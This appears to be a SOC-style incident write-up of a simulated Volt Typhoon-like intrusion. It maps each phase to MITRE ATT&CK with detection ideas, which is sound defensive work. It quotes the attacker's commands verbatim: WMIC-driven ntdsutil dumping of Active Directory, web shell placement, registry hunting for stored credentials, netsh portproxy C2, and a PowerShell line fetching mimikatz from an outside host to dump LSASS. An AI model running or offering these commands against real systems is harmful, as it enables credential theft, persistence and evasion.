SOC Incident Report: Investigation of a Volt Typhoon-Inspired Intrusion

A Complete Write-Up Demonstrating Real SOC Investigation Methodology

Executive Summary

This report documents the investigation of a simulated enterprise intrusion exhibiting tactics, techniques, and procedures (TTPs) commonly associated with the advanced persistent threat (APT) group Volt Typhoon.

Using authentication logs, PowerShell telemetry, Windows Event Logs, registry activity, and Splunk SIEM data, the investigation reconstructed the attack lifecycle from initial compromise through persistence, credential access, lateral movement, command-and-control (C2), and defense evasion activities.

Analysis identified evidence of account compromise, unauthorized administrative account creation, web shell deployment, Active Directory database access, credential dumping, data staging, proxy-based C2 communications, and deliberate log tampering.

The findings demonstrate how multiple low-level events can be correlated into a complete attack narrative, highlighting the importance of behavioral analysis, threat hunting methodologies, and MITRE ATT&CK-based investigation techniques within a Security Operations Center (SOC) environment.

Investigation Objectives

Reconstruct the attacker’s activity timeline
Identify initial access vector and compromised accounts
Determine persistence mechanisms deployed within the environment
Analyze credential access and lateral movement techniques
Detect indicators of command-and-control infrastructure
Identify evidence of defensive evasion and log manipulation
Map observed activity to MITRE ATT&CK techniques

Data Sources & Environment

The investigation was conducted using centralized log data ingested into Splunk, including:

ADSelfService Plus authentication and administrative logs
Windows Security Event Logs
PowerShell operational logs
WMIC execution telemetry
Registry access and modification logs
Network and proxy configuration events
File system and process execution logs

The analysis was guided by threat intelligence on Volt Typhoon and MITRE ATT&CK framework mappings.

Investigation Scope (Kill Chain Mapping)

The intrusion was analyzed across the following phases:

1. Initial Access

The intrusion originated through the compromise of enterprise authentication infrastructure, resulting in unauthorized password resets and administrative account creation.

2024-03-24 11:10:22 dean-admin account password change
2024-03-24 11:12:26 voltyp-admin account created
MITRE ATT&CK - T1078.002 Domain Accounts

Detection Opportunities

Monitor privileged account creation events

2. Execution

Attacker leveraged native Windows utilities and LOLBins (Living-off-the-Land Binaries), including WMIC and PowerShell, to execute reconnaissance and system commands.

Information gathering attempt detected using the command:

wmic /node:server01, server02 logicaldisk get caption, filesystem, freespace, size, volumename

Active Directory database artifacts were copied using the following command:

wmic process call create "cmd.exe /c mkdir C:\Windows\Temp\tmp & ntdsutil.exe \"ac i ntds\" \"ifm create full C:\Windows\Temp\tmp\temp.dit""

MITRE ATT&CK - T1047 Windows Management Instrumentation

Detection Opportunities

Alert on unusual WMIC execution

3. Persistence

A web shell was deployed within a web-accessible directory to maintain remote access and enable continued command execution.

A PowerShell command was identified that copied a web shell into a web-accessible directory, establishing persistent remote access:

Copy-Item -Path "C:\Windows\Temp\iistart.aspx" -Destination "\\server-02\C$\inetpub\wwwroot\AuditReport.jspx"

MITRE ATT&CK - T1505.003 Web Shell

Detection Opportunities

Monitor creation of ASPX/JSPX files in web directories

4. Privilege Escalation & Credential Access

The attacker accessed sensitive system components, including Active Directory database artifacts and credential storage mechanisms, and executed credential dumping tools in memory.

Found commands used by the actor searching for common password storage locations:

reg query hkcu\software\dean-admin\putty\session
reg query hklm\software\realvnc\vncserver
reg query hklm\software\realvnc
reg query hklm\software\OpenSSH\Agent
reg query hklm\software\OpenSSH

Discovered a PowerShell encoded command, which, when decoded, revealed the download and execution of Mimikatz for credential dumping purposes:

Invoke-WebRequest -Uri "http://voltyp.com/3/tlz/mimikatz.exe" -OutFile "C:\Temp\db2\mimikatz.exe"; Start-Process -FilePath "C:\Temp\db2\mimikatz.exe" -ArgumentList @("sekurlsa::minidump lsass.dmp", "exit") -NoNewWindow -Wait

Detection Opportunities

Detect encoded PowerShell commands
Alert on LSASS access attempts

5. Discovery & Lateral Movement

Network reconnaissance was performed using built-in Windows utilities and registry queries to identify system configuration, users, and security logs. The attacker subsequently moved laterally across systems.

Multiple commands were identified that leveraged wevtutil to enumerate Windows Event Logs and review authentication activity related to these events:
- 4624 Successful login
- 4625 Failed login
- 4769 Kerberos Ticket Granting Service Request

MITRE ATT&CK - T1654 Log Enumeration

The attacker maintained persistence across systems by moving the Web shell using the following command:

Copy-Item -Path "C:\Windows\Temp\iistart.aspx" -Destination "\\server-02\C$\inetpub\wwwroot\AuditReport.jspx

Detection Opportunities

Monitor creation of ASPX/JSPX files in web directories

6. Collection & Exfiltration

Sensitive files were identified, copied, and staged for exfiltration. Data was compressed and prepared for external transfer.

Three PowerShell commands were identified staging potentially sensitive financial data for exfiltration:

Copy-Item -Path "C:\ProgramData\FinanceBackup\2024.csv" -Destination "C:\Windows\Temp\Faudit\2024.csv"

Copy-Item -Path "C:\ProgramData\FinanceBackup\2023.csv" -Destination "C:\Windows\Temp\Faudit\2023.csv"

Copy-Item -Path "C:\ProgramData\FinanceBackup\2022.csv" -Destination "C:\Windows\Temp\Faudit\2022.csv"

MITRE ATT&CK - T1074.001 Data Staged: Local Data Staging

7. Command & Control (C2)

Outbound communication channels were established through proxy-based forwarding techniques, enabling remote command execution.

The attacker used the built-in netsh portproxy utility to establish proxy-based communication channels:

wmic /node: server-01 /user: dean-admin /password: uNcr4cK4b1e process call create "cmd.exe /c netsh interface portproxy add v4tov4 listenport=50100 listenaddress=0.0.0.0 connectport=8443 connectaddress=10.2.30.1"

MITRE ATT&CK - T1090.001 Internal Proxy

Detection Opportunities

Monitor netsh portproxy modifications

8. Stealth and Defense Impairment

The attacker attempted to remove forensic evidence through:

Event log clearing was performed using the wevtutil cl command to remove Windows Event Logs:
MITRE ATT&CK - T1685.005 Clear Windows Event Logs

Detection Opportunities

Detect event log clearing activity

Registry modification; A command was found using Remove-ItemProperty to wipe the Most Recently Used MRU record in registry.

Remove-ItemProperty -Path $registryPath -Name MRU0 -ErrorAction SilentlyContinue

MITRE ATT&CK - T1070.007 Indicator Removal: Clear Network Connection History and Configurations

File renaming and extension changes; the attacker renamed the file containing a copy of the database and also changed the extension. They modified the original ntds.dit name to temp.dit, later on to cisco-up.7z (Legitimate Resource Name) and finally to cl64.gif (Masquerade File Type).
MITRE ATT&CK - T1036.005 Match Legitimate Resource Name or Location
MITRE ATT&CK - T1036.008 Masquerade File Type

Indicators of Compromise (IOCs)

Accounts

dean-admin
voltyp-admin

Files

iistart.aspx
AuditReport.jspx
temp.dit
cisco-up.7z
cl64.gif
mimikatz.exe

Commands

wmic process call create
netsh interface portproxy
wevtutil cl

Network Indicators

voltyp.com
10.2.30.1

Analytical Notes

This investigation demonstrates a structured intrusion pattern consistent with advanced adversary behavior. The attacker relied heavily on legitimate administrative tools, reducing detection likelihood and blending malicious actions into normal system activity.

Key behavioral indicators included:

Abuse of native Windows utilities (LOLBins)
Encoded PowerShell execution
Registry-based reconnaissance
Systematic log tampering
Credential harvesting from system memory

Key Takeaways for SOC Analysts

This investigation demonstrates several core responsibilities expected of a Security Operations Center (SOC) analyst:

Log analysis across multiple telemetry sources
Timeline reconstruction and attack chain analysis
Threat hunting using SIEM platforms
MITRE ATT&CK mapping
Identification of persistence mechanisms
Detection of credential access activity
Investigation of lateral movement techniques
Analysis of defense evasion behaviors
Documentation and reporting of findings

By correlating evidence across authentication logs, PowerShell activity, Windows Event Logs, registry activity, and process execution telemetry, a complete picture of the intrusion was reconstructed and mapped to the adversary’s operational objectives.